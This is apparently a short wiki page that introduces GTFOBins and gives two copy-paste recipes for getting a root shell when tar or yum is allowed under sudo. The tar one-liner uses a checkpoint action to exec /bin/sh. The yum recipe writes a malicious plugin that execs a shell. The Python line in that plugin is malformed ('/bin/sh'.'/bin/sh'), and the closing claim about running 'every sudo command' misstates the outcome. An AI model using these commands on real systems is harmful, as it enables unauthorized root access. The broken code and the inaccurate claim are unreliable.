# Get the fuck out

### GTFOBins

GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused to get the fuck out beak out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

It is important to note that this is **not** a list of exploits, and the programs listed here are not vulnerable per se, rather, GTFOBins is a compendium about how to live off the land when you only have certain binaries available.

<span class="wikiexternallink">[https://gtfobins.github.io/](https://gtfobins.github.io/)</span>

<div class="wikimodel-emptyline" id="bkmrk-">  
</div>### TAR allowed as SUDO

When you are on a server. The command **sudo -l** list the allowed (and forbidden) commands for the invoking user. If you are lucky you are allowed to execute tar as SUDO.

To gain root access simply enter this command:

`<span class="monospace">sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh</span>`

<span class="wikiexternallink">[https://gtfobins.github.io/gtfobins/tar/](https://gtfobins.github.io/gtfobins/tar/)</span>

<div class="wikimodel-emptyline" id="bkmrk--0">  
</div><div class="wikimodel-emptyline" id="bkmrk--1">  
</div>### YUM allowed as SUDO

When you are on a server. The command **sudo -l** list the allowed (and forbidden) commands for the invoking user. If you are lucky you are allowed to execute yum as SUDO.

[![image.png](https://wiki.togogo.ch/uploads/images/gallery/2022-07/scaled-1680-/MuBimage.png)](https://wiki.togogo.ch/uploads/images/gallery/2022-07/MuBimage.png)

Now execute following commands:

`<span class="monospace"><strong>TF=$(mktemp -d)</strong></span>`

`<span class="monospace"><strong>cat >$TF/x<<EOF<br></br>  [main]<br></br>  plugins=1<br></br>  pluginpath=$TF<br></br>  pluginconfpath=$TF<br></br>  EOF</strong></span>`

`<span class="monospace"><strong>cat >$TF/y.conf<<EOF<br></br>  [main]<br></br>  enabled=1<br></br>  EOF</strong></span>`

`<span class="monospace"><strong>cat >$TF/y.py<<EOF<br></br>  import os<br></br>  import yum<br></br>  from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE<br></br>  requires_api_version='2.1'<br></br>  def init_hook(conduit):<br></br>    os.execl('/bin/sh'.'/bin/sh')<br></br>  EOF</strong></span>`

`<strong><span class="monospace">sudo yum -c $TF/x --enableplugin=y</span></strong>`

[![image.png](https://wiki.togogo.ch/uploads/images/gallery/2022-07/scaled-1680-/Ku9image.png)](https://wiki.togogo.ch/uploads/images/gallery/2022-07/Ku9image.png)

Described in the link: <span class="wikiexternallink">[https://gtfobins.github.io/gtfobins/yum/](https://gtfobins.github.io/gtfobins/yum/)</span>

After you done this you are allowed to run every sudo command!